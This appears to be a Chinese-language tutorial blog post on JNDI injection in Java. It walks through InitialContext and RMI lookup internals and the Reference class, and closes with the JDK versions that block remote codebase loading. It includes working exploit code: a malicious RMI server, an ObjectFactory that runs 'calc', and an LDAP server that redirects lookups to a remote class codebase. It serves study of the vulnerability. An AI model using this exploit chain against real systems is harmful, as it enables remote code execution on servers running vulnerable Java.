JNDI注入
基本介绍
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,
将键值对与对象进行绑定,通过名字检索指定的对象,对象可能存储在RMI、LDAP、CORBA等
说人话就是规定了一套接口来方便开发人员进行访问特定资源
JNDI的主要协议有:
协议 |
作用 |
LDAP |
轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI |
JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS |
域名服务 |
CORBA |
公共对象请求代理体系结构 |
使用JNDI访问RMI对象
InitialContext
在JNDI中定义了InitialContext
这种对象来管理
server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.naming.Context; import javax.naming.InitialContext; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; import java.util.Properties;
public class server { public static void main(String[] args) throws Exception {
RemoteObjImpl remoteObj = new RemoteObjImpl(); InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099); initialContext.rebind("rmi://localhost:1099/remoteObj",remoteObj); }
}
|
client.java
1 2 3 4 5 6 7 8 9 10
| public class client {
public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj"); remoteObj.sayHello("abc");
}
}
|
注意需要实现相同的interface且在server和client上的路径需要一致,不然会报no security manager: RMI class loader disabled
错误。
套了一层InitialContext
:
来看gpt怎么介绍这个InitialContext
:
InitialContext
是 Java EE (Enterprise Edition) 中的一个类,属于 javax.naming
包。它是 Java Naming and Directory Interface (JNDI) API 的一部分,主要用于在 Java 应用程序中查找和访问命名和目录服务。
InitialContext
的功能和用法:
- 创建上下文:
InitialContext
类用于创建一个初始的 JNDI 上下文,这个上下文可以用来查找其他上下文或资源。
- 查找资源:通过
InitialContext
对象,你可以查找在命名和目录服务中注册的对象,如数据源、EJB (Enterprise Java Beans) 等。
- 配置参数:在创建
InitialContext
实例时,可以传递一些环境属性(Hashtable
),这些属性用于配置 JNDI 上下文的连接信息。
可以查看到所有的RemoteObject的方法都被封装了
跟一下getURLOrDefaultInitCtx(name).lookup(name);
,首先解析协议名称
反正就是新建一个URLContext对象
继续跟进是一个getURLObject
![Untitled](C:\Users\14537\Desktop\be19137c-246f-4fa2-8390-0f64dae88819_Export-6ef4f9ac-96b1-47d5-82aa-201303514fca\Untitled 4.png)
传进入的是rmiURLContextFactory,所以直接新建了(顺道补一手Java工厂方法
也就是说,ResourceManager.getFactory()会通过context classloader加载对应的工厂类,然后调用工厂类的getObjectInstance方法来获取scheme对应协议的context
顺道补充下:当 uri 被省略的时候才会使用 env 中指定的 INITIAL_CONTEXT_FACTORY
,对应部分如下:
然后就是到封装后的lookup源码,可以发现这nm的封装了RegistryImpl_Stub的lookup函数
Reference
Reference类保存远程对象的引用,以封装的形式让程序通过引用来获取实际的远程对象
一般使用如下的Reference构造方法
1
| Reference(String className, String factory, String factoryLocation)
|
- className:工厂类要去加载的类名
- factory:远程加载的工厂类类名
- factoryLocation:远程加载工厂类的地址(file http ftp等协议)
客户端通过lookup得到Reference对象后,会继续访问factoryLocation,从而加载某个factory class,然后调用该factory实例的getObjectInstance方法,最终得到某个class(由className指定)
JNDI注入
JNDI注入之RMI+Reference
如果Reference的类地址可控,可以远程加载恶意对象
server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Main { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("evil", "evil", "http://127.0.0.1:8000/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("RCE",wrapper);
} }
|
client.java
1 2 3 4 5 6 7 8 9 10 11 12
| package org.example;
import javax.naming.InitialContext;
public class Main {
public static void main(String[] args) throws Exception{ String uri = "rmi://127.0.0.1:1099/RCE"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
注意此处的evil class不能指定package
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;
public class evil implements ObjectFactory {
public evil() throws Exception{ Runtime.getRuntime().exec("calc"); }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
编译的时候没问题,在运行的时候会抛出java.lang.NoClassDefFoundError的异常
因为会按照package指定的路径去找肯定找不到。。
java.lang.NoClassDefFoundError 是在类路径中找不到所需类时抛出的运行时错误,因此 JVM 无法将其加载到内存中。
JNDI注入之LDAP
server.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import sun.nio.cs.CharsetMapping;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import javax.xml.parsers.ParserConfigurationException; import java.net.InetAddress; import java.net.URL; import java.net.UnknownHostException;
public class LDAPServer { private static final String LDAP_BASE = "a=1cfh,b=hacker";
public static void main(String[] args){
String url = "http://127.0.0.1:8000/#Evil"; int port = 1389;
try{ InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() ));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch (Exception e) { e.printStackTrace(); }
}
private static class OperationInterceptor extends InMemoryOperationInterceptor{ private URL codebase;
public OperationInterceptor(URL cb){ this.codebase = cb; } @Override public void processSearchResult(InMemoryInterceptedSearchResult result){ String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); }catch (Exception e1){ e1.printStackTrace(); } }
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception{ URL turl = new URL(this.codebase, this.codebase.getRef().replace('.','/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to "+ turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf("#"); if ( refPos > 0 ){ cbstring = cbstring.substring(0, refPos); }
e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
}
}
|
DNSlog作POC
在JNDI中,本质上是要发起一次http请求
所以可以使用dnslog作为poc检测
高版本JDK的JNDI注入打法
版本限制
JNDI注入对Java版本有限制
协议 |
JDK6 |
JDK7 |
JDK8 |
JDK11 |
LADP |
6u211以下 |
7u201以下 |
8u191以下 |
11.0.1以下 |
RMI |
6u132以下 |
7u122以下 |
8u113以下 |
无 |
jdk6u45,>jdk7u21:RMI server的useCodebaseOnly默认为true,从而禁止利用RMI ClassLoader加载远程类(但是可以使用Reference绕过)
攻防历程:
- 6u45 7u21 之后:
java.rmi.server.useCodebaseOnly
默认为 true, 禁止利用 RMI ClassLoader 加载远程类 (但是 Reference 加载远程类本质上利用的是 URLClassLoader, 所以该参数对于 JNDI 注入无任何影响 )
- 6u141, 7u131, 8u121 之后:
com.sun.jndi.rmi.object.trustURLCodebase
和 com.sun.jndi.cosnaming.object.trustURLCodebase
默认为 false, 禁止 RMI 和 CORBA 协议使用远程 codebase 来进行 JNDI 注入
- 6u211, 7u201, 8u191 之后:
com.sun.jndi.ldap.object.trustURLCodebase
默认为 false, 禁止 LDAP 协议使用远程 codebase 来进行 JNDI 注入
参考